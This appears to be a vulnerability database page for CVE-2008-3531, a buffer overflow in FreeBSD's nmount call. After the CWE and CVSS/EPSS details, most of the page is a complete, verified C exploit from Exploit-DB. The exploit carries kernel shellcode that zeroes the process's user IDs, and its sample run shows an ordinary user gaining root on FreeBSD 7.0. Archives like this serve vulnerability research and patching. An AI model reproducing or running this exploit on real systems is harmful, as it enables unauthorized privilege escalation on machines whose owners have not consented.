Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
6.9 |
|
AV:L/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 9082
Publication date : 2009-07-08 22h00 +00:00
Author : Patroklos Argyroudis
EDB Verified : Yes
/*
* cve-2008-3531.c -- Patroklos Argyroudis, argp at domain census-labs.com
*
* Privilege escalation exploit for the FreeBSD-SA-08:08.nmount
* (CVE-2008-3531) vulnerability:
*
* http://security.freebsd.org/advisories/FreeBSD-SA-08:08.nmount.asc
* http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-3531
*
* For a detailed analysis see:
*
* http://census-labs.com/news/2009/07/02/cve-2008-3531-exploit/
*
* Sample run:
*
* [argp@leon ~]$ uname -rsi
* FreeBSD 7.0-RELEASE GENERIC
* [argp@leon ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@leon ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@leon ~]$ gcc -Wall cve-2008-3531.c -o cve-2008-3531
* [argp@leon ~]$ ./cve-2008-3531
* [*] vptr = 0x006e776f
* [*] calling nmount()
* nmount: Unknown error: -1036235776
* [argp@leon ~]$ id
* uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)
*
* $Id: cve-2008-3531.c,v 846ca34be34a 2009/02/29 11:05:02 argp $
*/
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#define BUFSIZE 249
#define PAGESIZE 4096
#define ADDR 0x6e7000
#define OFFSET 1903
#define FSNAME "msdosfs"
#define DIRPATH "/tmp/msdosfs"
unsigned char kernelcode[] =
"\x64\xa1\x00\x00\x00\x00" /* movl %fs:0, %eax # get curthread */
"\x8b\x40\x04" /* movl 0x4(%eax), %eax # get proc from curthread */
"\x8b\x40\x30" /* movl 0x30(%eax),%eax # get ucred from proc */
"\x31\xc9" /* xorl %ecx, %ecx # ecx = 0 */
"\x89\x48\x04" /* movl %ecx, 0x4(%eax) # ucred.uid = 0 */
"\x89\x48\x08" /* movl %ecx, 0x8(%eax) # ucred.ruid = 0 */
/* # return to the pre-previous function, i.e. vfs_donmount() */
"\x81\xc4\xe8\x00\x00\x00" /* addl $0xe8, %esp */
"\x5b" /* popl %ebx */
"\x5e" /* popl %esi */
"\x5f" /* popl %edi */
"\x5d" /* popl %ebp */
"\xc3"; /* ret */
int
main()
{
void *vptr;
struct iovec iov[6];
vptr = mmap((void *)ADDR, PAGESIZE, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if(vptr == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
vptr += OFFSET;
printf("[*] vptr = 0x%.8x\n", (unsigned int)vptr);
memcpy(vptr, kernelcode, (sizeof(kernelcode) - 1));
mkdir(DIRPATH, 0700);
iov[0].iov_base = "fstype";
iov[0].iov_len = strlen(iov[0].iov_base) + 1;
iov[1].iov_base = FSNAME;
iov[1].iov_len = strlen(iov[1].iov_base) + 1;
iov[2].iov_base = "fspath";
iov[2].iov_len = strlen(iov[2].iov_base) + 1;
iov[3].iov_base = DIRPATH;
iov[3].iov_len = strlen(iov[3].iov_base) + 1;
iov[4].iov_base = calloc(BUFSIZE, sizeof(char));
if(iov[4].iov_base == NULL)
{
perror("calloc");
rmdir(DIRPATH);
exit(EXIT_FAILURE);
}
memset(iov[4].iov_base, 0x41, (BUFSIZE - 1));
iov[4].iov_len = BUFSIZE;
iov[5].iov_base = "BBBB";
iov[5].iov_len = strlen(iov[5].iov_base) + 1;
printf("[*] calling nmount()\n");
if(nmount(iov, 6, 0) < 0)
{
perror("nmount");
rmdir(DIRPATH);
exit(EXIT_FAILURE);
}
printf("[*] unmounting and deleting %s\n", DIRPATH);
unmount(DIRPATH, 0);
rmdir(DIRPATH);
return EXIT_SUCCESS;
}
// milw0rm.com [2009-07-09]
Products Mentioned
Configuraton 0
Freebsd>>Freebsd >> Version 7.0
Freebsd>>Freebsd >> Version 7.1
References